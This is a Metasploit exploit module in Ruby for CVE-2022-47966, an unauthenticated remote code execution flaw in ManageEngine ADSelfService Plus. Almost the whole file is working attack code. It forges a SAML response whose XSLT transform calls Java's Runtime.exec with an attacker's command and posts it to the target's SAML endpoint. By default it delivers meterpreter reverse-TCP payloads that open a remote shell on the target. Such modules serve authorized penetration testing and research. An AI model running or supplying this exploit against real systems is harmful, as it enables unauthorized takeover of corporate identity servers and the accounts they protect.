# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',
        'Description' => %q{
          This exploits an unauthenticated remote code execution vulnerability
          that affects Zoho ManageEngine AdSelfService Plus versions 6210 and
          below (CVE-2022-47966). Due to a dependency to an outdated library
          (Apache Santuario version 1.4.1), it is possible to execute arbitrary
          code by providing a crafted `samlResponse` XML to the ADSelfService Plus
          SAML endpoint. Note that the target is only vulnerable if it has been
          configured with SAML-based SSO at least once in the past, regardless of
          the current SAML-based SSO status.
        },
        'Author' => [
          'Khoa Dinh', # Original research
          'horizon3ai', # PoC
          'Christophe De La Fuente' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-47966'],
          ['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
          ['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
          ['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
          ['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
        ],
        'Platform' => ['win'],
        'Payload' => {
          'BadChars' => "\x27"
        },
        'Targets' => [
          [
            'Windows EXE Dropper',
            {
              'Platform' => 'win',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :windows_dropper,
              'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_command,
              'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 9251,
          'SSL' => true
        },
        'DefaultTarget' => 1,
        'DisclosureDate' => '2023-01-10',
        'Notes' => {
          'Stability' => [CRASH_SAFE,],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        },
        'Privileged' => true
      )
    )

    register_options([
      OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),
      OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),
      OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),
      OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])
    )
    return CheckCode::Unknown unless res

    return CheckCode::Safe unless res.code == 200

    product = res.get_html_document.xpath('//title').first&.text
    unless product == 'ADSelfService Plus'
      return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")
    end

    CheckCode::Detected
  end

  def encode_begin(real_payload, reqs)
    super

    reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
      raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
    end
  end

  def exploit
    case target['Type']
    when :windows_command
      execute_command(payload.encoded)
    when :windows_dropper
      execute_cmdstager
    end
  end

  def execute_command(cmd, _opts = {})
    if target['Type'] == :windows_dropper
      cmd = "cmd /c #{cmd}"
    end
    cmd = cmd.encode(xml: :attr).gsub('"', '')

    assertion_id = "_#{SecureRandom.uuid}"
    # Randomize variable names and make sure they are all different using a Set
    vars = Set.new
    loop do
      vars << Rex::Text.rand_text_alpha_lower(5..8)
      break unless vars.size < 3
    end
    vars = vars.to_a
    saml = <<~EOS
      <?xml version="1.0" encoding="UTF-8"?>
      <samlp:Response
        ID="_#{SecureRandom.uuid}"
        InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
        IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
        <samlp:Status>
          <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
        </samlp:Status>
        <Assertion ID="#{assertion_id}"
          IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
          <Issuer>#{datastore['ISSUER_URL']}</Issuer>
          <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
            <ds:SignedInfo>
              <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
              <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
              <ds:Reference URI="##{assertion_id}">
                <ds:Transforms>
                  <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
                  <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
                    <xsl:stylesheet version="1.0"
                      xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
                      xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
                      <xsl:template match="/">
                        <xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>
                        <xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>
                        <xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>
                        <xsl:value-of select="$#{vars[2]}"/>
                      </xsl:template>
                    </xsl:stylesheet>
                  </ds:Transform>
                </ds:Transforms>
                <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
                <ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>
              </ds:Reference>
            </ds:SignedInfo>
            <ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>
            <ds:KeyInfo/>
          </ds:Signature>
        </Assertion>
      </samlp:Response>
    EOS

    relay_state_url = datastore['RELAY_STATE']
    if relay_state_url.blank?
      relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"
    end
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),
      'vars_get' => {
        'RelayState' => Rex::Text.encode_base64(relay_state_url)
      },
      'vars_post' => {
        'SAMLResponse' => Rex::Text.encode_base64(saml)
      }
    })

    unless res&.code == 200
      fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")
    end

    res
  end

end
